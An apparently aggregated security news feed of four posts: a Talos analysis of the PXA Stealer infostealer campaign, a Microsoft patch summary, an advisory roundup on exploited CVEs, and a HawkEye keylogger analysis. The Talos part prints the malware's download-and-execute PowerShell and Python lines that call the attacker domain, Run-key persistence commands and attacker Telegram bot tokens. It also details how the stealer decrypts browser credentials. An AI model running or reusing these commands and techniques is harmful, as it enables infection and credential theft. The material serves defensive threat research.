• Cisco Talos discovered a new information stealing campaign operated by a Vietnamese-speaking threat actor targeting government and education entities in Europe and Asia.  
• We discovered a new Python program called PXA Stealer that targets victims’ sensitive information, including credentials for various online accounts, VPN and FTP clients, financial information, browser cookies, and data from gaming software. 
• PXA Stealer has the capability to decrypt the victim’s browser master password and uses it to steal the stored credentials of various online accounts.  
• The attacker has used complex obfuscation techniques for the batch scripts used in this campaign. 
• We discovered the attacker selling credentials and tools in the Telegram channel “Mua Bán Scan MINI,” which is where the CoralRaider adversary operates, but we are not sure if the attacker belongs to the CoralRaider threat group or another Vietnamese cybercrime group. 

Victimology and targeted information  

The attacker is targeting the education sector in India and government organizations in European countries, including Sweden and Denmark, based on Talos telemetry data.  

The attacker’s motive is to steal the victim’s information, including credentials for various online accounts, browser login data, cookies, autofill information, credit card details, data from various cryptocurrency online and desktop wallets, data from installed VPN clients, gaming software accounts, chat messengers, password managers, and FTP clients.  

Attacker’s infrastructure 

Talos discovered that the attacker was hosting malicious scripts and the stealer program on a domain, tvdseo[.]com, in the directories “/file”, “/file/PXA/”, “/file/STC/”, and “/file/Adonis/”. The domain belongs to a Vietnamese professional search engine optimization (SEO) service provider; however, we are not certain whether the attacker has compromised the domain to host the malicious files or has subscribed to get legitimate access while still using it for their malicious purposes. 

We found that the attacker is using the Telegram bot for exfiltrating victims’ data. Our analysis of the payload, PXA Stealer, disclosed a few Telegram bot tokens and the chat IDs – controlled by the attacker.  

Attacker–controlled Telegram bot token

7545164691:AAEJ4E2f-4KZDZrLID8hSRSJmPmR1h-a2M4  7414494371:AAGgbY4XAvxTWFgAYiAj6OXVJOVrqgjdGVs

Attacker–controlled Telegram chat IDs

-1002174636072  -1002150158011  -4559798560  -4577199885  -4575205410

Attacker’s underground activities 

We identified attacker’s Telegram account “Lone None,” which was hardcoded in the PXA Stealer program and analyzed various details of the account, including the icon of Vietnam’s national flag and a picture of the emblem for Vietnam’s Ministry of Public Security, which aligns with our assessment that the attacker is of Vietnamese origin. Also, we found Vietnamese comments in the PXA Stealer program, which further strengthen our assessment.  

The attacker’s Telegram account has biography data that includes a link to a private antivirus checker website that allows users or buyers to assess the detection rate of a malware program. This website provides a platform for potential threat actors to evaluate the effectiveness and stealth capabilities of the malware before purchasing it, indicating a sophisticated level of service and professionalism in the threat actor’s operations. 

We also discovered that the attacker is active in an underground Telegram channel, “Mua Bán Scan MINI,” mainly selling Facebook accounts, Zalo accounts, SIM cards, credentials, and money laundry data. Talos observed that this Vietnamese actor is also seen in the Telegram group in which the CoralRaider actor operates. However, we are not certain whether the actor is a member of the CoralRaider gang or another Vietnamese cybercrime group.  

Talos discovered that the attacker is also promoting another underground Telegram channel, “Cú Black Ads – Dropship,” by sharing a few automation tools to manage large numbers of user accounts in their channel and conducting the exchanging or selling of information related to social media accounts, proxy services, and a batch account creator tool.  

The tools shared by the attacker in the group are automated utilities designed to manage several user accounts. These tools include a Hotmail batch creation tool, an email mining tool, and a Hotmail cookie batch modification tool. The compressed packages provided by the threat actor often contain not only the executable files for these tools but also their source code, allowing users to modify them as needed.  

We found that the attacker is not sharing all the tools for free, and some of them require users to send a unique key back to the Telegram channel administrator for software activation. This process ensures that only those who have been vetted or have paid for the tool can access its full functionality.  We also discovered that these tools are distributed on other websites, such as aehack[.]com, highlighting that they are selling the tools. Additionally, a YouTube channel exists that provides tutorials on how to use these tools, further facilitating their widespread use and demonstrating the organized efforts to market and instruct potential users on their application. 

Infection Chain

The attacker gains initial access by sending a phishing email with a ZIP file attachment, according to our telemetry data. The ZIP file contains a malicious loader executable file compiled in Rust language and a hidden folder called Photos. The hidden folder has other recurring folders, such as Documents and Images, that contain obfuscated Windows batch scripts and a decoy PDF document. 

When a victim extracts the attachment ZIP file, the hidden folder and the malicious Rust loader executable are dropped onto the victim machine. When the malicious Rust loader executable is run by the victim, it loads and executes multiple obfuscated batch scripts that are in the dropped hidden folders.   

We deobfuscated the Windows batch scripts using CyberChef, with each step in the process being crucial and requiring precise execution to achieve accurate deobfuscation. First, we employed regular expressions (regex) to filter out random characters consisting of uppercase and lowercase letters (A to Z). These random strings ranged in length from six to nine characters and were enclosed within “%” symbols. Next, we filtered out the “^” symbols and removed any remaining uppercase and lowercase letters (A to Z) as well as special characters “_,” /’(?),” “$,” “#,” and “[].”  Finally, we eliminated the “%” symbols and we were able to successfully deobfuscate the scripts and reveal their PowerShell commands. 

Snippet of the obfuscated batch script	Snippet of the deobfuscated batch script

The batch scripts execute PowerShell commands simultaneously, performing the following activities on the victim machine: 

• Opens a decoy PDF document of a Glassdoor job application form. 

• Downloads a portable Python 3.10 package archive masquerading as “synaptics.zip”, which is hosted on the attacker-controlled domain through the hardcoded URL “hxxps[://]tvdseo[.]com/file/synaptics[.]zip”, and saves it in the user profile’s temporary folder as well as in the public user’s folder with the random file names and extracts them. 

C:WINDOWSsystem32cmd[.]exe /S /D /c echo [Net[.]ServicePointManager]::SecurityProtocol = [Net[.]SecurityProtocolType]::Tls12; (New-Object -TypeName System[.]Net[.]WebClient).DownloadFile('hxxps[://]tvdseo[.]com/file/synaptics[.]zip', [System[.]IO[.]Path]::GetTempPath() + 'EAnLaxUKaI[.]zip') 
  
C:WINDOWSsystem32cmd[.]exe /S /D /c echo [Net[.]ServicePointManager]::SecurityProtocol = [Net[.]SecurityProtocolType]::Tls12; (New-Object -TypeName System[.]Net[.]WebClient).DownloadFile('hxxps[://]tvdseo[.]com/file/synaptics[.]zip', 'C:UsersPublicoZHyMUy4qk[.]zip')  
  
C:WINDOWSsystem32cmd[.]exe /S /D /c echo $dst = [System[.]IO[.]Path]::Combine([System[.]Environment]::GetFolderPath('LocalApplicationData'), 'EAnLaxUKaI'); Add-Type -AssemblyName System[.]IO[.]Compression[.]FileSystem; if (Test-Path $dst) { Remove-Item -Recurse -Force $dst* } else { New-Item -ItemType Directory -Force $dst } ; [System[.]IO[.]Compression[.]ZipFile]::ExtractToDirectory([System[.]IO[.]Path]::Combine([System[.]IO[.]Path]::GetTempPath(), 'EAnLaxUKaI[.]zip'), $dst)  
  
C:WINDOWSsystem32cmd[.]exe /S /D /c echo Add-Type -AssemblyName System[.]IO[.]Compression[.]FileSystem; [System[.]IO[.]Compression[.]ZipFile]::ExtractToDirectory('C:/Users/Public/oZHyMUy4qk[.]zip', 'C:/Users/Public/oZHyMUy4qk')  

• Then, it creates and runs a Windows shortcut file with the file name “WindowsSecurity.lnk”, configuring a base64-encoded command as a command line argument in the user profile’s temporary folder and configures the “Run” registry key with the path of the shortcut file to establish persistence. 

C:WINDOWSsystem32cmd[.]exe /S /D /c echo $s = $payload = import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHBzOi8vdHZkc2VvLmNvbS9maWxlL1BYQS9QWEFfUFVSRV9FTkMnKS5yZWFkKCkuZGVjb2RlKCd1dGYtOCcpKSk='));$obj = New-Object -ComObject WScript.Shell;$link = $obj.CreateShortcut($env:LOCALAPPDATAWindowsSecurity.lnk);$link.WindowStyle = 7;$link.TargetPath = $env:LOCALAPPDATAEAnLaxUKaIsynaptics.exe;$link.IconLocation = C:Program Files (x86)MicrosoftEdgeApplicationmsedge.exe,13;$link.Arguments = -c `$payload`";$link.Save()  
  
C:WINDOWSsystem32cmd[.]exe /S /D /c echo New-ItemProperty -Path 'HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun' -Name 'Windows Security' -PropertyType String -Value 'C:WindowsExplorer.EXE C:UsersMarsiAppDataLocalWindowsSecurity.lnk' -Force 

• The Windows shortcut file with a single-line Python script using a disguised portable Python executable downloads a base64-encoded Python program from a remote server. The downloaded program contains instructions to disable the antivirus programs on the victim’s machine.  

cmd[.]exe  /c start "" /min C:UsersPublicoZHyMUy4qksynaptics[.]exe -c "import urllib[.]request;import base64;exec(base64.b64decode(urllib[.]request[.]urlopen('hxxps[://]tvdseo[.]com/file/PXA/PXA_PURE_ENC')[.]read()[.]decode('utf-8')))" 

• Next, the batch script continues to execute another PowerShell command that downloads the PXA Stealer Python program and executes it with the masqueraded portable Python executable “synaptics.exe” on the victim’s machine.  

cmd[.]exe /c start  /min C:UsersPublicoZHyMUy4qksynaptics[.]exe -c import urllib[.]request;import base64;exec(base64.b64decode(urllib[.]request[.]urlopen('hxxps[://]tvdseo[.]com/file/PXA/PXA_BOT')[.]read()[.]decode('utf-8'))) 

• Another batch script called “WindowsSecurity.bat” is dropped in the Windows startup folder of the victim’s machine to establish persistence, which has the command to download and execute the PXA Stealer Python program shown in the earlier paragraph.  

PXA Stealer targets victims’ sensitive data 

PXA Stealer is a Python program that has extensive capabilities targeting a variety of data on the victim’s machine.   

When the PXA Stealer is executed, it kills a variety of processes from a hardcoded list, including endpoint detection software, network capture and analysis process, VPN software, cryptocurrency wallet applications, file transfer client applications, and web browser and instant messaging application processes by executing “task kill” commands.  

The stealer has the capability of decrypting the browser master key, which is a cryptographic key used by web browsers like Google Chrome and other Chromium-based browsers to protect sensitive information, including stored passwords, cookies, and other data in an encrypted form on the local system. The stealer accesses the master key file “Local State” located in the browser folder of the user’s profile directory, which contains the information of the encryption key used to encrypt the user data stored in the “Login Data” file, and decrypts it using the “CryptUnprotectData” function. This allows the attacker to gain access to the stored credentials and other sensitive browser information.   

The stealer also attempts to decrypts the master key that is stored in the key4.db file. Key4.db is a database used by Firefox (and some other Mozilla-based browsers) to store encryption keys, particularly the master key that encrypts sensitive data, such as saved passwords. The “getKey” function of the stealer is designed to extract and decrypt keys from the key4.db file using either AES or 3DES encryption methods, depending on the encryption used in the stored key. 

The stealer attempts to retrieve user profiles paths from the profiles.ini file of browser applications, including Mozilla Firefox, Pale Moon, SeaMonkey, Waterfox, Mercury,  k-Melon, IceDragon, Cyberfox, and BlackHaw for further processing, such as extracting saved passwords or other user data. 

The stealer collects the victim’s login information from the browser’s login data file. The function “get_ch_login_data” of the stealer extracts login data, including URLs, usernames, and passwords, from the database “login_db”, which stores login information. The extracted login information is formatted into a string that includes the URL, username, decrypted password, browser, and profile.  

For each login entry in the browser login database, the function checks if the URL contains any important keywords that are hardcoded in the stealer program, and if a match is found, the login information is saved in a separate file named “Important_Logins.txt” located in the “Browsers Data” folder within the user’s profile temporary directory. The function saves all the results to “All_Passwords.txt” in the “Browsers Data” folder for other login data found in the database. 

The stealer executes another function, “get_ch_cookies”, to extract cookies from a specified browser’s cookie database, decrypt them, and save the results to a file. First, it checks if the cookies database file exists in the specified profile directory and unlocks the cookies database file. The database file is then copied to the temporary folder and is processed by executing an SQL query to retrieve cookie information, including host key, name, path, encrypted value, expiration time, secure flag, and HTTP-only flag from the cookies database file.  

If any Facebook cookies are found, they are concatenated to a single string called “fb_formatted”, and it calls another function, “ADS_Checker()”, to check for ads based on the Facebook cookies, and the results are written to a file called “Facebook_Cookies.txt”.  Any other cookie information is written to a text file named after the browser and the profile. Finally, the function removes the temporary cookie database file. 

In another sample of the stealer, for the browsers Chrome, Chrome SxS, and Chrome(x86), it downloads and executes a cookie stealer JavaScript through the URL hxxps://tvdseo[.]com/file/PXA/Cookie_Ext.zip. The cookie stealer JavaScript connects to the Telegram bot with the token, and the chat ID hardcoded in the script collects the cookies and sends them to the attacker’s Telegram bot through the POST method.  

Next, the stealer targets the victim’s credit card information stored in the browser database “webappsstore.sqlite”. The function extracts and decrypts saved credit card information from a browser’s web data database. It checks if the cards database file “cards_db” exists and copies them to the user’s profile temporary folder. It executes a SQL query to retrieve credit card information including name on card, expiration month/year, encrypted card number, and date modified. Then it decrypts the encrypted card number using the function “decrypt_ch_value” with the help of the decrypted master key. It writes the cards’ information to a text file and names it after the browser and the profile. Finally, it gets the count of credit card information that was found and deletes the temporary copy of the “cards_db” file.  

The stealer extracts and saves the autofill form data from a browser’s database to a text file with the file name format of “$browser_$profile.txt” in a folder called “AutoFills” in browser profile location.  

The stealer also extracts and validates Discord tokens stored in various browsers or Discord applications. It checks for the stored encrypted Discord tokens in the different browser database files and also Discord-specific applications files of Discord, Discord Canary, Lightcord, and Discord PTB on the victim’s machine by searching for strings using regular expression “r”dQw4w9WgXcQ:[^.*[‘(.*)’].*$][^”]*”)”. Once the encrypted tokens are found, it decrypts them with the function “decrypt_dc_tokens()” using the extracted master key that was used to encrypt the tokens from the “Local State” file. Then, it validates the decrypted Discord tokens to check if it is a legitimate Discord token and stores it by associating it with the browser name. Besides searching for the encrypted tokens, the function also looks for unencrypted Discord tokens by searching strings that match the regular expression pattern “[w-]{24}.[w-]{6}.[w-]{27}” for standard tokens and “mfa.[w-]{84}” for multi-factor authentication (MFA) tokens in “.log” and “.ldb” files in the levelDB directory of Discord applications or web browsers where the structured key-value data is stored in levelDB database format. 

The stealer executes another function to extract the user information from the MinSoftware application database. It searches for the database file “db_maxcare.sqlite” file on the victim machine folders, including Desktop, Documents, Downloads, OneDrive and in the logical partitions with the drive letters “D:” and “E:”. Once found, it executes a SQL query to search in the accounts table of the database file and extracts the following data: 

• uid: User identifier. 
• pass: User’s password. 
• fa2: Two-factor authentication data. 
• email: The user’s email address. 
• passmail: The email password. 
• cookie1: Likely a session or authentication cookie. 
• token: Likely an authentication token. 
• info: Account information. 

The stealer also has the functionalities for interacting with Facebook Ads Manager and Graph API using a session authenticated via cookies.  

• It takes a Facebook cookie and parses it for the session information, such as “c_user”, and attempts to access the token. 
• Retrieves and formats the details about the user’s ad accounts, such as account status, currency, balance, spend cap, and amount spent.  
• Gets the list of the user’s Facebook pages, including page name, link, likes, followers, and verification status. 
• It retrieves a list of groups with administrative users. 
• It extracts Business Manager IDs associated with the account and retrieves ad account information under each Business Manager. 
• It uses Facebook data to determine ad account limits for a Business Manager. 
• It extracts the token from Facebook mobile pages to facilitate authenticates requests. 

After collecting the targeted victim’s data, including the login data, browser cookies, autofill information, credit card details, Facebook ads account data, cryptocurrency wallet data, Discord token details, and MinSoft application data, the stealer creates a ZIP archive of all the files in the user profile’s temporary folder with the file name format “CountryCode_Victim’s public IP Computername.zip”, with a high compression level of value nine.  

While creating the archive and navigating the targeted folders, the stealer excludes some of the directories, including user_data, emoji, tdummy, dumps, webview, update-cache, GPUCache, DawnCache, temp, Code Cache, and Cache. It also attempts to rename each file while adding them to the archive. The archive is exfiltrated to the actor’s Telegram bot. After exfiltrating the victim’s data, the stealer deletes the folders that contained the collected user data.  

Coverage 

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here. 

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks. 

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here. 

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat. 

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products. 

Umbrella, Cisco’s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here. 

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them. 

Additional protection with context to your specific environment and threat data are available from the Firewall Management Center. 

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. 

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort SIDs for this threat are listed below: 

Snort2: 64217, 64204, 64216, 64215, 64214, 64213, 64212, 64211, 64210, 64209, 64208, 64207, 64206, 64205, 64203 

Snort3: 301057, 301063, 301062, 301061, 301060, 301059, 64217, 301058   

ClamAV detections are also available for this threat: 

Win.Loader.RustLoader-10036712-0 
Py.Infostealer.PXAStealer-10036718-0 
Py.Infostealer.PXAStealer-10036725-0 
Txt.Tool.PXAStealerInstaller-10036719-0 
Txt.Tool.PXAStealerInstaller-10036724-0 
Txt.Tool.PXAStealerInstaller-10036724-0 
Lnk.Downloader.PXAStealer-10036720-0 
Js.Infostealer.CookieStealer-10036722-0 

Indicators of Compromise 

IOCs for this research can be found in our GitHub repository here. 

Cisco Talos Blog – ​Read More

With November’s Patch Tuesday Microsoft fixed 89 vulnerabilities in its products — two of which are being actively exploited. One of them — CVE-2024-43451 — is particularly alarming. It allows attackers to gain access to the victim’s NTLMv2 hash. Although it doesn’t have an impressive CVSS 3.1 rating (only 6.5 / 6.0), its exploitation requires minimal interaction from the user, and it exists thanks to the MSHTML engine — the legacy of Internet Explorer — which is theoretically deactivated and no longer used. Nevertheless, all current versions of Windows are affected by this vulnerability.

Why is CVE-2024-43451 so dangerous?

CVE-2024-43451 allows an attacker to create a file that, once delivered to the victim’s computer, will give the attacker the possibility of stealing the NTLMv2 hash. NTLMv2 is a network authentication protocol used in Microsoft Windows environments. Having access to the NTLMv2 hash, an attacker can perform a pass-the-hash attack and attempt to authenticate on the network by posing as a legitimate user — without having their real credentials.

Of course, CVE-2024-43451 alone is not enough for a full-fledged attack — cybercriminals would have to use other vulnerabilities — but someone else’s NTLMv2 hash would make the attacker’s life much easier. At this point in time we have no additional information about scenarios that use CVE-2024-43451 in practice, but the vulnerability description clearly states that the vulnerability is publicly disclosed, and cases of exploitation have been detected in the wild.

What does “minimal interaction” mean?

It is generally assumed that if a user doesn’t open a malicious file — nothing bad can happen. In this case, that’s not true. According to the mini-FAQ in the security update guide advisory on CVE-2024-43451, exploitation may occur even when the user selects the file (single left-click), inspects it (with a right-click), or performs some “action other than opening or executing”.

What other vulnerabilities did Microsoft close in the November patch?

The second vulnerability that is already being exploited in real attacks is CVE-2024-49039. It allows attackers to escape from the AppContainer environment and, as a result, escalate their privileges to a Medium Integrity Level. In addition, there are two more holes that the company states are disclosed, although they’ve not yet been noticed in real attacks. These are CVE-2024-49019 in the Active Directory Certificate Service, which also allows the attacker to elevate privileges, and CVE-2024-49040 in Exchange, thanks to which malicious emails can be displayed with a fake sender address.

In addition, the critical vulnerability CVE-2024-43639, which allows remote code execution in Kerberos, also looks dangerous — though it only affects servers that are configured as a Kerberos Key Distribution Center (KDC) Proxy Protocol server.

How to stay safe?

In order to stay safe, we recommend, firstly, promptly installing updates for critical software (which, of course, includes the operating systems). In addition, it’s worth remembering that most attacks exploiting software vulnerabilities begin via email. Therefore, we recommend equipping all work devices with a reliable security solution, and not forget about protection at the mail gateway level.

Kaspersky official blog – ​Read More

Key Takeaways  

• Common vulnerabilities in 2023 include Citrix NetScaler, Fortinet FortiOS, and Atlassian Confluence, with attacks involving remote code execution, buffer overflows, and session token leakage. 

• The advisory was coauthored by international agencies, including ACSC, CISA, the FBI, and cybersecurity bodies from Canada, New Zealand, and the UK, highlighting global collaboration in combating cyber threats. 

•  Exploited vulnerabilities often stem from code injection, buffer overflows, and improper input validation, emphasizing the need for secure coding practices. 

• Organizations should implement security by design, adopt secure software development frameworks, and prioritize patch management to protect against known vulnerabilities. 

• The advisory recommends deploying tools like EDR systems and employing Zero Trust Network Architecture (ZTNA) to detect zero-day exploits and limit lateral movement within networks. 

Overview 

The Australian Cyber Security Center (ACSC) has issued an important cybersecurity advisory detailing a range of vulnerabilities in 2023. The report, which was coauthored by cybersecurity agencies from the United States, Australia, Canada, New Zealand, and the United Kingdom, provides a comprehensive overview of the vulnerabilities most targeted by cybercriminals, including the risks posed by zero-day exploits.  

These advisory aims to inform organizations worldwide about the growing cyber threat landscape and offers guidance to minimize the risks posed by these vulnerabilities. The ACSC’s advisory identifies the most frequently exploited Common Vulnerabilities and Exposures (CVEs) of 2023 and their associated Common Weakness Enumerations (CWEs). 

This security advisory is a collaborative effort from cybersecurity agencies around the world, including the Australian Cyber Security Center (ACSC), the Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), and cybersecurity agencies from Canada, New Zealand, and the United Kingdom.  

In particular, CISA has worked closely with international partners to monitor, identify, and mitigate common vulnerabilities, reinforcing their shared commitment to securing digital infrastructure. The FBI has also been actively involved in identifying cyber threat actors exploiting these vulnerabilities, especially those targeting critical infrastructure in both the public and private sectors.  

Key Findings: Zero-Day Exploits on the Rise 

One of the most concerning trends identified in the advisory is the increasing exploitation of zero-day vulnerabilities. These vulnerabilities, which are unknown to the software vendor or the public at the time of exploitation, allow attackers to bypass security defenses and gain unauthorized access to systems.  

In 2023, cybercriminals used zero-day vulnerabilities to exploit systems rapidly after their disclosure. Notably, these exploits were used to compromise high-value targets, including organizations in critical sectors such as healthcare, finance, and government. 

The ACSC’s advisory highlights that reducing the lifespan of zero-day exploits can be achieved by improving security lifecycles and ensuring responsible vulnerability disclosure. Both vendors and developers are urged to adopt secure-by-design principles and frameworks like the SP 800-218 Secure Software Development Framework (SSDF) to enhance the security of software from the ground up. 

Top Vulnerabilities Exploited in 2023 

The advisory identifies several CVEs that were routinely exploited in 2023. Among the most frequently targeted vulnerabilities are: 

• CVE-2023-3519: Citrix NetScaler buffer overflow vulnerability. 
• CVE-2023-4966: Citrix NetScaler session token leakage. 
• CVE-2023-27997: Fortinet FortiOS remote code execution. 
• CVE-2023-34362: Progress MOVEit Transfer SQL injection vulnerability. 
• CVE-2023-22515: Atlassian Confluence arbitrary code execution. 

These vulnerabilities were exploited by a variety of cyber threat actors, including advanced persistent threat (APT) groups and ransomware operators. For instance, CVE-2023-34362, which affects the MOVEit Transfer product, was actively targeted by the CL0P ransomware gang. Similarly, CVE-2023-22515 in Atlassian Confluence was exploited by threat actors to gain unauthorized access to corporate networks, compromising sensitive data. 

In many cases, these exploits were used to execute remote code, bypass authentication, or escalate privileges within affected systems. These vulnerabilities often result in significant disruption, financial loss, and reputational damage to affected organizations. 

Common Weakness Enumerations (CWEs) 

The advisory also sheds light on the associated Common Weakness Enumerations (CWEs) that underlie many of the vulnerabilities exploited in 2023. For example: 

• CWE-94: Code injection, which was present in vulnerabilities like CVE-2023-3519 (Citrix NetScaler buffer overflow). 
• CWE-119: Buffer overflow, as seen in CVE-2023-4966 (Citrix NetScaler session token leakage). 
• CWE-20: Improper input validation, which was implicated in CVE-2023-22515 (Atlassian Confluence arbitrary code execution). 

By understanding the CWEs associated with these CVEs, organizations can implement more targeted defenses to mitigate the risk of exploitation. Developers are encouraged to adopt practices that prevent these weaknesses from being introduced in the first place, such as using memory-safe languages and conducting regular security testing. 

Recommendations for Vendors, Developers, and End-Users 

In response to these findings, the advisory provides several key recommendations for organizations and developers to enhance their cybersecurity posture and reduce the risk of exploitation: 

• Vendors are encouraged to integrate security into the development process from the start, using frameworks like SP 800-218 SSDF to guide their efforts. 

• Developers should ensure that vulnerabilities are disclosed responsibly, including the root causes and associated CWEs, to help the broader community implement effective mitigation measures. 

• Regularly applying patches is critical to mitigating known vulnerabilities. End-users should also implement centralized patch management systems to streamline the process and ensure that vulnerabilities are addressed promptly. 

• Security tools like EDR systems are essential for detecting zero-day exploits. Organizations should prioritize their deployment to help identify suspicious activities and mitigate risks before they escalate. 

• Employing a Zero Trust Network Architecture (ZTNA) can help reduce lateral movement within networks and limit the damage from compromised systems. Organizations should also enforce multi-factor authentication (MFA) to prevent unauthorized access. 

• Organizations are urged to have up-to-date incident response plans in place and ensure that system backups are securely stored and regularly tested to recover from potential attacks. 

Conclusion 

The Australian Cyber Security Center (ACSC), in partnership with CISA, the FBI, and other international cybersecurity agencies, is calling on vendors, developers, and end-users to take immediate action to address these vulnerabilities and enhance their overall cybersecurity posture.  

By following the advisory’s recommendations, organizations can reduce their exposure to cyber threats and strengthen their defenses against cyberattacks. The collaboration between global cybersecurity agencies emphasizes the importance of shared intelligence and international cooperation in the fight against cybercrime. 

The post Australian Cyber Security Center Highlights Key Vulnerabilities Exploited in 2023 appeared first on Cyble.

Blog – Cyble – ​Read More

Editor’s note: The current article is authored by the threat researcher Aaron Jornet Sales, also know as RexorVc0. You can find him on X and LinkedIn. 

HawkEye, also known as PredatorPain (Predator Pain), is a malware categorized as a keylogger, but over the years, it has adopted new functionalities that align it with the capabilities of other tools like stealers.

History of HawkEye

HawkEye emerged before 2010, with records of its use and sale dating back to 2008, making it quite long-lived. After several spearphishing campaigns in which this well-known malware was attached, it gained significant popularity starting in 2013.

This keylogger has been available on various dark web sites, even having dedicated websites where the tool was sold. However, this keylogger has been cracked for years and used by different actors without going through the subscription method imposed by its creators, whose price ranged between $20 and $50. This has contributed to its continued notoriety, and it has been used not only by criminal actors but also by script kiddies due to its ease of use.

Although it is not one of the most widely used malwares, it remains in active use and saw a significant resurgence during the COVID period. During this time, certain actors took advantage of the general hysteria to obtain company data through phishing campaigns.

Additionally, HawkEye has been used in conjunction with other loaders and/or malware that invoked this keylogger. Over its long trajectory, various actors and malware have been involved in attacks on companies, some of which include Galleon Gold, Mikroceen, iSPY crypter related with Gold Skyline, Remcos used on campaigns with HawkEye, Pony used on campaigns with HawkEye, etc.

Technical Analysis

The method of HawkEye’s delivery has varied throughout its history, as have the types of sources behind the attacks. Nevertheless, it has been primarily involved in spearphishing campaigns, where attackers devised convincing scenarios to trick victims into downloading the malicious file, which could be a document, compressed file, or another malware acting as a loader for the keylogger.

It has also been used to target websites of portals typically accessed by companies, which were the main targets of the attacking groups. Another common method of spreading HawkEye was through “free” software, which turned out to be malware in disguise.

HawkEye’s delivery methods are quite diverse compared to other malware. However, its execution and behavior have remained relatively consistent over the years. A behavior graph of what has been observed in recent months would look as follows:

During the analysis process, I typically spend weeks, even months, collecting samples to understand how they function as a whole based on the existing variants. Therefore, we may observe variations among those presented. In most executions, we encounter enormous trees of processes based on their activities.

To simplify, as you’ve seen in the previous graph, it’s not as complex compared to other stealers or RATs. It generally consists of an executable that drops others in temporary paths, then injects code into one of them or into a .NET-related software. Later, in memory, it gathers all possible data and sends it to a C&C.

Going straight to the point, in an initial execution of one of the samples I analyzed, we see a rather extensive process—a succession of execution copies launched in temporary paths.

In this instance, they used the RoamingTemplates path, but this is highly variable depending on who created it. Generally speaking, they tend to abuse paths like AppDataRoaming and AppDataTemp, which are classic choices.

Here’s the list of paths observed for dropping files:

• C:Users<user>AppDataLocalTemp
• C:Users<user>AppDataRoaming
• C:Users<user>AppDataRoamingMicrosoftWindowsTemplates
• C:Users<user>AppDataLocalTempSystem
• C:Users<user>Music

All of these files that are launched, and which we’ve observed executing in the previous step, are copies of themselves. The filenames are also highly variable, as you might expect, but they often try to have an icon that makes the victim think it’s a legitimate program, or the malware description might be altered to make it seem like legitimate software.

Ultimately, after comparing the dropped files, we can see they are simple copies of the original, with the particularity that some versions launch them in hidden mode, so you can’t see them unless you’ve enabled the “View hidden files” function in Windows.

During these file droppings, we can encounter both replicas of the original file in different paths, as well as support files whose functionality is typically to establish persistence (or check if it’s already done, and if not, do it) and to perform injector functions, which is a characteristic of this malware. In this case, the smaller binary is responsible for these actions.

I check to see if there is any shared information between the two binaries and notice that certain parts of the code match the original. This will become relevant later, as right now we’re seeing them separately, but everything will make sense afterward.

After this step, we can see how persistence is established. PredatorPain isn’t just a malware that establishes persistence once—it’s been observed to check and establish persistence up to three different times, depending on the phases (Loader > Injector > Payload).

This makes it clear that the malware is determined to persist on the system, one way or another. At this stage, to avoid revealing persistence mechanisms through strings, it obfuscates a string and then decodes it to introduce, in this case, one of the binaries launched earlier. This practice isn’t as common and adds a level of sophistication not found in other samples.

Not only does it create persistence in the registry, but we also find samples that establish persistence in tasks using commands like the following:

schtasks.exe /Create /TN "<Path><TaskName>" /XML "<File>"

After observing its behavior in the early stages, we delve deeper into the entire execution thread throughout the analysis phase with debugging. I’ve followed several samples, and they’re mostly similar—samples in .NET, sometimes obfuscated with tools like Confuser, Eaz, Reactor, or similar, which are relatively easy to deobfuscate.

In most samples, I noticed heavy interaction with resources, which will become crucial shortly since I observed a significant amount of data in these resources across most of the samples I found.

In the malware’s initial phases, it looks for the running process (which will be the previously prepared copy), where it will check the PID to access the resources. Within these resources, we see two distinct types of code: the initial part, which acts as a key, and the data chunk, which is what will be deobfuscated. To achieve this, it uses XOR + Poly, and at the end of the process, it extracts a Portable Executable.

It can do this in various ways depending on the sample, but we see the same extraction of a binary from a resource as we do from obfuscated code in memory, like the example shown below.

The result of this phase is two extracted files—one will be the injector, and the other will be the Keylogger.

I compared both files, and they’re entirely different, in size, in structure—the only common factor is that both are .NET binaries.

To highlight the difference between the injector dropped on disk (Right) and the one extracted from memory (Left), we can compare the extended content. We can observe how the memory-extracted injector includes imports related to injection that the disk version doesn’t (such as ZwUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, etc.).

Here we can observe various functionalities while extracting the binaries, such as self-deletion. This is done to maintain evasion and avoid revealing its location, as it drops replicas of the original binary in various locations, as we saw earlier.

One of the dropped files, the smaller one, acts as the injector. When extracted from memory, it has more functionalities than the one seen on disk. This is because the injection tasks are carried out during runtime, but the written file is actually a portion of this, triggering the main binary located in the temporary path.

It checks persistence and restarts the entire process, including injection. Therefore, it’s a part of the file without revealing all of its functionalities. I’ll show you how it performs injection using Process Hollowing.

In essence, the injector doesn’t have much more functionality. It includes a phase where it checks running processes, which is an interesting technique to detect analysis tools or to determine if the process is already running. If not, it launches the process, adds it to the registry (as seen earlier), and restarts the execution.

Lastly, we only have the second extraction left to observe, which is HawkEye itself. I’ve encountered many versions of it, as the modules included will vary significantly based on what the creator configures in the builder of the Keylogger itself.

We’ll talk more about this later, but you can see all the functionalities that can be added during its creation, which will impact the modules incorporated into it.

At this point, I conducted tests with several builders to verify this theory, as I had extracted multiple samples to the final phase, and almost none of them resembled each other too much. I tested by removing or adding options, and even with the same sample, there were significant differences, so you can imagine how different it can be if it’s not exactly the same version of the keylogger and different elements were selected during its creation.

